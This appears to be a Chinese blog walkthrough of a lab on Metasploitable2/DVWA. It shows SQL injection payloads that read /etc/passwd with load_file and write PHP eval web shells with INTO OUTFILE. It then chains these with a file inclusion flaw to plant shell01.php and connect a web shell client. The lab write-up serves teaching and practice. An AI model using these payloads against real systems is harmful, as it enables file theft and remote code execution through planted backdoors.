欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SQL注入一句话木马(load_file/out file)

程序员文章站 2022-03-10 21:07:57
...

工具

靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑

权限查看

查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)

show global variables like '%secure%';
NULL 表示不可用, 空 表示可用

SQL注入一句话木马(load_file/out file)

' order by 2--   查看字段数
' union all select database(),user()--   查看当前数据库和用户

查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'-- 
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'-- 
//注: 我在metasploitable2 的数据库里查了 aaa@qq.com 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。

不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
SQL注入一句话木马(load_file/out file)
SQL注入一句话木马(load_file/out file)
SQL注入一句话木马(load_file/out file)
发现当前用户拥有对文件读写的权限

load_file / into out file

load_file()
条件:

  • 知道文件的绝对路径
  • 能使用union
  • 对web目录有读权限

如果有过滤单引号,则可以将函数中的路径进行hex或者char编码

1' union select load_file('/etc/passwd'),2-- 
如果有过滤  '  :
1' union select load_file(\'/etc/passwd\'),2-- 
也可以16进制编码,或者转成 ASCII码 
编码解决!16进制(用编码即不用单引号)

SQL注入一句话木马(load_file/out file)
into outfile()
条件:

  • 要有file_priv权限
  • 知道网站的绝对路径
  • 对web有写的权限
  • 没有过滤单引号
写入部分有单引号记得 转译 \
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'-- 
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'-- 
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,
 可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'-- 
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'-- 
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码 

尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
SQL注入一句话木马(load_file/out file)
SQL注入一句话木马(load_file/out file)
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件

构造木马: /tmp/shell.txt
' union select  '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'-- 
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt 
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码

菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php

可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
SQL注入一句话木马(load_file/out file)
发现成功写入!
SQL注入一句话木马(load_file/out file)
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
SQL注入一句话木马(load_file/out file)
SQL注入一句话木马(load_file/out file)
第三步: 使用菜刀连接
SQL注入一句话木马(load_file/out file)
SQL注入一句话木马(load_file/out file)
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!